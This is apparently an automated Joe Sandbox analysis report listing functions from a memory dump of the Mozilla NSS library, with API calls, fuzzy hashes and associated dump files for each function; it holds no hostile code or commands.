Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: LibrarySecureUnload
String ID: NSS_DISABLE_UNLOAD
API String ID: 4190191112-1204168554
Opcode ID: 6d4dce37f6d4b128a2c7a32c52cd80f1d9144bd3fc080f08682e38357111ffd9
Instruction ID: a4ffa8b38ae30c876a48bee0f63a21191449347c42f4b11bec56de85252550d0
Opcode Fuzzy Hash: 6d4dce37f6d4b128a2c7a32c52cd80f1d9144bd3fc080f08682e38357111ffd9
Instruction Fuzzy Hash: 6411A2B1B086559BEB05EBE6D808796B2B8FB01B48F44412AD40592E40E772F896CBD3

Function 6CB60DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6CB60BDE), ref: 6CB60DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6CB60BDE), ref: 6CB60DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6CB60BDE), ref: 6CB60DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6CB60BDE), ref: 6CB60E32

Strings

%s incr => %d (find lib), xrefs: 6CB60E2D

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: 1fc480b9508d369d71ee5708c0c8ad2d67f8aaae9ee20a3bc4b7926afa4466c0
Instruction ID: c3555e0b60f8ac5200fae69fe4bff913c0989882e874db633ec376993580d581
Opcode Fuzzy Hash: 1fc480b9508d369d71ee5708c0c8ad2d67f8aaae9ee20a3bc4b7926afa4466c0
Instruction Fuzzy Hash: 8701D472B01660AFE7209F26EC85E1777BCDF45A09B0544ADE909D3A41F761FC14C6E1

Function 6CAF2940 Relevance: 7.8, APIs: 6, Instructions: 327stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6CAF1360,00000000), ref: 6CAF2A19
memcpy.VCRUNTIME140(?,00000009,00000034,?,?,?,6CAF1360,00000000), ref: 6CAF2A45
memcpy.VCRUNTIME140(?,00000000,00000000), ref: 6CAF2A7C

Part of subcall function 6CAF2D50: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,B67A13E6,?,?,00000000,?,6CAF296E), ref: 6CAF2DA4

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAF2AF3
memcpy.VCRUNTIME140(?,00000009,0000000C,?,?,?,6CAF1360,00000000), ref: 6CAF2B71
memset.VCRUNTIME140(00000000,00000000,00000034), ref: 6CAF2B90

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: memcpystrlen$memset
String ID:
API String ID: 638109778-0
Opcode ID: 99d54a660e7d44c627fcf77e9c2a256abbf7e3ab73b07bc449320d3445e43be1
Instruction ID: 5669dfe78d84ef02c8eeb8e93250cabc4c8e8b616ac7c4ee25fc29939f966630
Opcode Fuzzy Hash: 99d54a660e7d44c627fcf77e9c2a256abbf7e3ab73b07bc449320d3445e43be1
Instruction Fuzzy Hash: 5FC1B471F012468BEB14CF69C8947AAB7B5BF88308F198329E9259B741D734D887CBD1

Function 6CB0A910 Relevance: 7.7, APIs: 5, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60fc07ce21f74a2715385190ece98eaa58a3c501caa352c0dad69a66b3df63fd
Instruction ID: 5af8560b175d83c9bf51ee4ded8348ec1dd0c954019ed8e5f3220ea7d8cf2603
Opcode Fuzzy Hash: 60fc07ce21f74a2715385190ece98eaa58a3c501caa352c0dad69a66b3df63fd
Instruction Fuzzy Hash: 9091C4717002848FEB08DFA5D9DAB6A3BB5FB46315F04082DE60647A40DB38B946CF92

Function 6CBBC590 Relevance: 7.7, APIs: 5, Instructions: 155COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,?,?,?), ref: 6CBBC5C7
PK11_DoesMechanism.NSS3(?,?,?,?), ref: 6CBBC603
PK11_DoesMechanism.NSS3(?,?,?,?), ref: 6CBBC636
PK11_FreeSymKey.NSS3(?), ref: 6CBBC6D7
PK11_FreeSymKey.NSS3(?), ref: 6CBBC6E1

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: K11_$DoesMechanism$Free
String ID:
API String ID: 3860933388-0
Opcode ID: 1d1a13d4a7bf420bef1335e35209f6196e3ade28db47c0883711c41318ee513e
Instruction ID: 098bcba3b6f7dfb511079ef69bfdad9decee0859ddff6965c722f0aa13c0a170
Opcode Fuzzy Hash: 1d1a13d4a7bf420bef1335e35209f6196e3ade28db47c0883711c41318ee513e
Instruction Fuzzy Hash: 3A4161B560165AAFDB01DF69DC81DBB77A9EF18248B500038FD09E7710EB31D925CBA2

Function 6CB8C9E0 Relevance: 7.6, APIs: 5, Instructions: 132COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,00000000), ref: 6CB8CA21
EnterCriticalSection.KERNEL32(0000001C), ref: 6CB8CA35
PR_Unlock.NSS3(00000000), ref: 6CB8CA66
PR_SetError.NSS3(FFFFE041,00000000,00000000,?,?,00000000), ref: 6CB8CA77
PR_Unlock.NSS3(00000000), ref: 6CB8CAFC

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterErrorSectionValue
String ID:
API String ID: 1974170392-0
Opcode ID: ff5218514a44a9a69eb0454669ff794026e05d82666502ed054b193c7ef2e16e
Instruction ID: f2651442f77992e389eda33499a9e8aba8af66aaff4b57d9e70c76f19e19c80f
Opcode Fuzzy Hash: ff5218514a44a9a69eb0454669ff794026e05d82666502ed054b193c7ef2e16e
Instruction Fuzzy Hash: 7A4124B5E012459BEF00EF64DC40AAB7BB4EF05388F144228ED1897701EB35E901CBE2

Function 6CBB6AE0 Relevance: 7.6, APIs: 6, Instructions: 125stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBB6910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6CBB6943
Part of subcall function 6CBB6910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6CBB6957
Part of subcall function 6CBB6910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6CBB6972
Part of subcall function 6CBB6910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6CBB6983
Part of subcall function 6CBB6910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6CBB69AA
Part of subcall function 6CBB6910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6CBB69BE
Part of subcall function 6CBB6910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6CBB69D2
Part of subcall function 6CBB6910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6CBB69DF
Part of subcall function 6CBB6910: NSSUTIL_ArgStrip.NSS3(?), ref: 6CBB6A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,00000000,6CBB781D,?,6CBABE2C,?,00000000,00000000), ref: 6CBB6B66
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,6CBB781D,?,6CBABE2C,?,00000000,00000000), ref: 6CBB6B88
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,6CBB781D,?,6CBABE2C,?,00000000,00000000), ref: 6CBB6BAF
free.MOZGLUE(00000000,?,?,?,?,00000000,00000000,6CBB781D,?,6CBABE2C,?,00000000,00000000), ref: 6CBB6BE6
free.MOZGLUE(?,?,?,?,?,00000000,00000000,6CBB781D,?,6CBABE2C,?,00000000,00000000), ref: 6CBB6BF7
free.MOZGLUE(6CBB781D,?,?,?,?,00000000,00000000,6CBB781D,?,6CBABE2C,?,00000000,00000000), ref: 6CBB6C08

Part of subcall function 6CBB6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CBB781D,00000000,6CBABE2C,?,6CBB6B1D,?,?,?,?,00000000,00000000,6CBB781D), ref: 6CBB6C40
Part of subcall function 6CBB6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CBB781D,?,6CBABE2C,?), ref: 6CBB6C58
Part of subcall function 6CBB6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CBB781D), ref: 6CBB6C6F
Part of subcall function 6CBB6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CBB6C84
Part of subcall function 6CBB6C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CBB6C96
Part of subcall function 6CBB6C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CBB6CAA

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: strcmpstrncmp$FlagL_strncasecmpfree$Strip$ParameterSecureSkip
String ID:
API String ID: 3779992554-0
Opcode ID: e2d6bf3d20a5f50f79cf8034d20351dde705af065cb7ce5a924eeb365e338cf7
Instruction ID: 51de6f9bb24a62f79b5e3a7ce642ea38591c143906473957219e56e9adfca09e
Opcode Fuzzy Hash: e2d6bf3d20a5f50f79cf8034d20351dde705af065cb7ce5a924eeb365e338cf7
Instruction Fuzzy Hash: 2E416D71E052999BEF18CEE5C941BBEB7B8EB09348F140429D814F7640EB35AD44CBA2

Function 6CC8AA70 Relevance: 7.6, APIs: 5, Instructions: 114COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CC8AA86

Part of subcall function 6CC1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC1C2BF

Part of subcall function 6CC8A690: calloc.MOZGLUE(00000001,00000044,?,?,?,?,6CC8A662), ref: 6CC8A69E
Part of subcall function 6CC8A690: PR_NewCondVar.NSS3(?), ref: 6CC8A6B4

PR_IntervalNow.NSS3 ref: 6CC8AAEC
EnterCriticalSection.KERNEL32(?), ref: 6CC8AB0A
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6CC8AB67
_PR_MD_UNLOCK.NSS3(?), ref: 6CC8AB8B

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: CondCriticalEnterErrorIntervalSectionValuecalloc
String ID:
API String ID: 318662135-0
Opcode ID: 5a59541af70939cabbca8e0c4a575dcfac62bed9c741b8fb7dfd25dff05edc38
Instruction ID: 0e35db5590a079a85cb518236b5c0a2ab518cd87c37a2c28d6bbe3b11609da94
Opcode Fuzzy Hash: 5a59541af70939cabbca8e0c4a575dcfac62bed9c741b8fb7dfd25dff05edc38
Instruction Fuzzy Hash: 5F417EB5A013158FC750DF29D88059BBBF6BF88718729456AE819CBB41F774E884CF90

Function 6CC02460 Relevance: 7.6, APIs: 5, Instructions: 105memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,6CCA7379,00000002,?), ref: 6CC02493
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CC024B4
PR_SetError.NSS3(FFFFE005,00000000,?,?,?,?,?,6CCA7379,00000002,?), ref: 6CC024EA
PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,6CCA7379,00000002,?), ref: 6CC024F5
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,6CCA7379,00000002,?), ref: 6CC024FE

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Error$Alloc_FreeK11_Utilfree
String ID:
API String ID: 2595244113-0
Opcode ID: b51d3ecee367fa2f0839ac4dee659c243529c41995c92c66630a0fa1862a451c
Instruction ID: cf799ecad92187c5dbea97c98ab72db0e34bf7dbe9e3f1b405dad405d33c2bbf
Opcode Fuzzy Hash: b51d3ecee367fa2f0839ac4dee659c243529c41995c92c66630a0fa1862a451c
Instruction Fuzzy Hash: F431E1B1B00116ABEB008FA5DC55BBFB7A4EF48308F104125FD1996A80F776D955CBA1

Function 6CB6EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CB6EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6CB6EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6CB6EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB6EEEB
free.MOZGLUE(?), ref: 6CB6EEF6

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: a4af6a05d329e1a37f2c051a2c9985f7c05c5fbd838c802306beb39c17b88ba9
Instruction ID: daf039d1f36eee22e2abb5647cf74ee21a6cf58227a0cb658f6fd826338c4023
Opcode Fuzzy Hash: a4af6a05d329e1a37f2c051a2c9985f7c05c5fbd838c802306beb39c17b88ba9
Instruction Fuzzy Hash: 94310471A006C09BEB209F2ACC44B6A7BF4FB46314F140529E95A87E50E731F915CBD2

Function 6CB744D0 Relevance: 7.6, APIs: 5, Instructions: 90COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3 ref: 6CB744FF

Part of subcall function 6CBD07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CB78298,?,?,?,6CB6FCE5,?), ref: 6CBD07BF
Part of subcall function 6CBD07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CBD07E6
Part of subcall function 6CBD07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CBD081B
Part of subcall function 6CBD07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CBD0825

SECOID_FindOID_Util.NSS3(?), ref: 6CB74524
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6CB74537
CERT_AddExtensionByOID.NSS3(00000001,?,?,?,00000001), ref: 6CB74579

Part of subcall function 6CB741B0: PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6CB741BE
Part of subcall function 6CB741B0: PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CB741E9
Part of subcall function 6CB741B0: SECITEM_CopyItem_Util.NSS3(?,00000000,?), ref: 6CB74227
Part of subcall function 6CB741B0: SECITEM_CopyItem_Util.NSS3(?,-00000018,?), ref: 6CB7423D

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB7459C

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Util$Error$Alloc_ArenaCopyFindHashItem_LookupTable$ConstEqual_ExtensionItems
String ID:
API String ID: 3193526912-0
Opcode ID: ebf86faa50ffcf2ec35f4368ae81f486fcdccb540a5d46777f353d11653d57bb
Instruction ID: c13f0fadc3ae5dfdd163fe404bc5de52eff0528a3ecc06f3cf70ba6492405864
Opcode Fuzzy Hash: ebf86faa50ffcf2ec35f4368ae81f486fcdccb540a5d46777f353d11653d57bb
Instruction Fuzzy Hash: 3321C4717056909BEB30CA29AC44B6B37A8DF4175AF150428BC358BF41E721ED04CFB2

Function 6CB7E5E0 Relevance: 7.6, APIs: 5, Instructions: 82memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,00000000,00000000,?,6CB7E755,00000000,00000004,?,?), ref: 6CB7E5F5

Part of subcall function 6CBD14C0: TlsGetValue.KERNEL32 ref: 6CBD14E0
Part of subcall function 6CBD14C0: EnterCriticalSection.KERNEL32 ref: 6CBD14F5
Part of subcall function 6CBD14C0: PR_Unlock.NSS3 ref: 6CBD150D

PR_SetError.NSS3(FFFFE005,00000000,?), ref: 6CB7E62C
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000000,?), ref: 6CB7E63E

Part of subcall function 6CBCF9A0: PORT_ArenaMark_Util.NSS3(?,00000000,-00000002,?,-00000002,?,6CB6F379,?,00000000,-00000002), ref: 6CBCF9B7

PK11_HashBuf.NSS3(?,?,?,?,?,?,?,?), ref: 6CB7E65C

Part of subcall function 6CB9DDD0: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CB9DDEC
Part of subcall function 6CB9DDD0: PK11_DigestBegin.NSS3(00000000), ref: 6CB9DE70
Part of subcall function 6CB9DDD0: PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6CB9DE83
Part of subcall function 6CB9DDD0: HASH_ResultLenByOidTag.NSS3(?), ref: 6CB9DE95
Part of subcall function 6CB9DDD0: PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6CB9DEAE
Part of subcall function 6CB9DDD0: PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CB9DEBB

SECITEM_ZfreeItem_Util.NSS3(00000000,00000000,?), ref: 6CB7E68E

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: K11_Util$Digest$ArenaItem_Mark_$AllocBeginContextCriticalDestroyEnterErrorFinalFindHashResultSectionTag_UnlockValueZfree
String ID:
API String ID: 2865137721-0
Opcode ID: a3a89b2af733e35b5063d925a0347e14bcb9d919b36c9b216162f5a6fb2f6e13
Instruction ID: 5a1ffc70d8afef224da7b5efc0879348a8f67cc8d3897e99c80ef092521c14cb
Opcode Fuzzy Hash: a3a89b2af733e35b5063d925a0347e14bcb9d919b36c9b216162f5a6fb2f6e13
Instruction Fuzzy Hash: E22134767012C06FFB104EA59C40EAE7798DF81658F154138ED298BA51EB20DD24C3E2

Function 6CB76AF0 Relevance: 7.6, APIs: 5, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(00000000,6CB7B21D,00000000,00000000,6CB7B219,?,6CB76BFB,00000000,?,00000000,00000000,?,?,?,6CB7B21D), ref: 6CB76B01

Part of subcall function 6CBCFDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CBCFE08
Part of subcall function 6CBCFDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CBCFE1D
Part of subcall function 6CBCFDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CBCFE62

PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,6CB7B219,?,6CB76BFB,00000000,?,00000000,00000000,?,?,?,6CB7B21D), ref: 6CB76B36
PORT_ArenaAlloc_Util.NSS3(00000000,00000030), ref: 6CB76B47
SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6CB76B8A
SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000004,?,0000001C), ref: 6CB76BB6

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Item_$DecodeQuick$Errormemcpy
String ID:
API String ID: 1773792728-0
Opcode ID: 6bb2226ea200736cdbaf2090d160ec7a597ad5b6d8d709324b1aaa8a6042ec84
Instruction ID: ce1b7efc91c3d0b5028fb2c67b08f9a544c0335a017c5696cb8fcf8ce750b54d
Opcode Fuzzy Hash: 6bb2226ea200736cdbaf2090d160ec7a597ad5b6d8d709324b1aaa8a6042ec84
Instruction Fuzzy Hash: 372106729013949BEB208FA5CC41F5E7BA8DB46358F054529EC28D7B11F731E55087A1

Function 6CB7AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6CB73FFF,00000000,?,?,?,?,?,6CB71A1C,00000000,00000000), ref: 6CB7ADA7

